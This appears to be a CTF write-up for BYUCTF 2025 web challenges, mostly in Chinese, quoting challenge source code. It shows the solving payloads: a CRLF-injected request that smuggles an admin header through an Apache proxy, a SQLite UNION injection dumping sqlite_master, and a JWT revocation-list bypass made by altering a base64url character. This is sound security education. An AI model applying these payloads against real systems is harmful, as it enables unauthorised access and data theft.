Willy Wonka Web
// imports
const express = require('express');
const fs = require('fs');
// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000
// endpoints
app.get('/', async (req, res) => {
if (req.header('a') && req.header('a') === 'admin') {
return res.send(FLAG);
}
return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});
// start server
app.listen(PORT, async () => {
console.log(`Listening on ${PORT}`)
});
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
ProxyPassReverse "/name/" "http://backend:3000/"
RequestHeader unset A
RequestHeader unset a
</VirtualHost>
CTF题型 Http2降级走私原理分析&例题分享 | J1rrY’s Blog
https://blog.csdn.net/qq_44655084/article/details/147650222
https://forum.butian.net/share/2180
https://zhuanlan.zhihu.com/p/21659871184
GET /name/2%20HTTP/1.1%0d%0aa:%20admin%0d%0aHost:%20wonka.chal.cyberjousting.com HTTP/2
Host: wonka.chal.cyberjousting.com
应该是协议层差异导致的。TTP/1.1 是基于文本的协议,其请求和响应通过简单的换行符(\r\n)分隔。but HTTP/2 是二进制协议,通过帧和流机制传输数据。无法通过注入 \r\n 伪造多个请求,因为每个帧必须符合严格的二进制格式。CVE-2023-25690恰好也是用的HTTP 1.1。查了查HTTP 2走私另有方法(比如把它降级成HTTP1.1)
https://github.com/BYU-CSA/BYUCTF-2025/blob/main/web/cooking_flask/Writeup.md
https://github.com/BYU-CSA/BYUCTF-2025/tree/main/web/jwtf
SELECT something something FROM something something WHERE ('%"`
`"%')UNION SELECT name,'','','','','','','' from sqlite_master
--`"%') something something;
SELECT 0,sql,'1960-01-01',3,'4','5','[]',7 FROM sqlite_master WHERE type='table' AND name='user'
源码:
from flask import Flask, request, redirect, make_response, jsonify
import jwt, os
app = Flask(__name__)
FLAG = 'flag'
APP_SECRET = os.urandom(32).hex()
ADMIN_SECRET = os.urandom(32).hex()
print(f'ADMIN_SECRET: {ADMIN_SECRET}')
jrl = [
jwt.encode({"admin": True, "uid": '1337'}, APP_SECRET, algorithm="HS256")
]
@app.route('/', methods=['GET'])
def main():
resp = make_response('Hello World!')
resp.set_cookie('session', jwt.encode({"admin": False}, APP_SECRET, algorithm="HS256"))
return resp
@app.route('/get_admin_cookie', methods=['GET'])
def get_admin_cookie():
secret = request.args.get('adminsecret', None)
uid = request.args.get('uid', None)
if secret is None or uid is None or uid == '1337':
return redirect('/')
if secret == ADMIN_SECRET:
resp = make_response('Cookie has been set.')
resp.set_cookie('session', jwt.encode({"admin": True, "uid": uid}, APP_SECRET, algorithm="HS256"))
return resp
@app.route('/flag', methods=['GET'])
def flag():
session = request.cookies.get('session', None).strip().replace('=','')
if session is None:
return ('none')
# check if the session is in the JRL
if session in jrl:
return ('repeating')
try:
payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"])
if payload['admin'] == True:
return FLAG
else:
return ('admin.bug')
except:
return ('try.bug')
@app.route('/jrl', methods=['GET'])
def jrl_endpoint():
return jsonify(jrl)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=1337, threaded=True)
我们已知一个jrl,关键在于/flag路由如何进行绕过,猜想这就是题目考察的地方
如何绕过呢?
如果没有删去=,可以在末尾加上=;还有其他方法吗,想起了base64和base64url(二者不可混为一谈)
base64编码结果中会有+、/、=三个特殊字符,它们在url中属于特殊字符是直接无法传递的;
base64url其实就是把字符中的'+'和'/'分别替换成'-'和'_',另外把末尾填充的‘=’去掉;其他都一样。
什么意思
/jrl得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew
我们只需/flag下session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri/IxNoi33q-TRLbHV-ew
没错,只用_改成/就行
得到flag
byuctf{idk_if_this_means_anything_but_maybe_its_useful_somewhere_97ba5a70d94d}